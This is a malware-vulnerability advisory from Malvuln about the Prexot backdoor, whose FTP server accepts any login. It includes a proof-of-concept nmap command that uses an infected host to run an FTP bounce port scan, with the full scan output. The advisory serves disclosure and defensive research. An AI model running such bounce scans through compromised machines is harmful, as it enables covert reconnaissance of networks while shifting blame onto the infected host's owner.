Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Prexot.a Vulnerability: Port Bounce Scan (MITM) Description: The malware listens on random high TCP ports e.g 11404, 19545, 17001, 10110 and accepts any credentials. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. Type: PE32 MD5: 29bc048d58ab8038c7001ef0d5e69c9b Vuln ID: MVID-2022-0485 Dropped files: services.exe, mstempf.exe Disclosure: 02/08/2022 Exploit/PoC: nmap -n -Pn -b malvuln:malvuln@192.168.18.129:19545 -p21,22,80 192.168.18.237 -v Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-07 15:45 UTC-11 Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129). Attempting connection to ftp://malvuln:malvuln@192.168.18.129:19545 Connected:220 Bot Server (Win32) Login credentials accepted by FTP server! Initiating Bounce Scan at 15:46 Attempting connection to ftp://malvuln:malvuln@192.168.18.129:19545 Connected:220 Bot Server (Win32) Login credentials accepted by FTP server! Discovered open port 80/tcp on 192.168.18.237 Completed Bounce Scan at 15:46, 10.39s elapsed (3 total ports) Nmap scan report for 192.168.18.237 Host is up. PORT STATE SERVICE 21/tcp closed ftp 22/tcp closed ssh 80/tcp open http Read data files from: C:\Program Files (x86)\Nmap Nmap done: 1 IP address (1 host up) scanned in 19.63 seconds Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).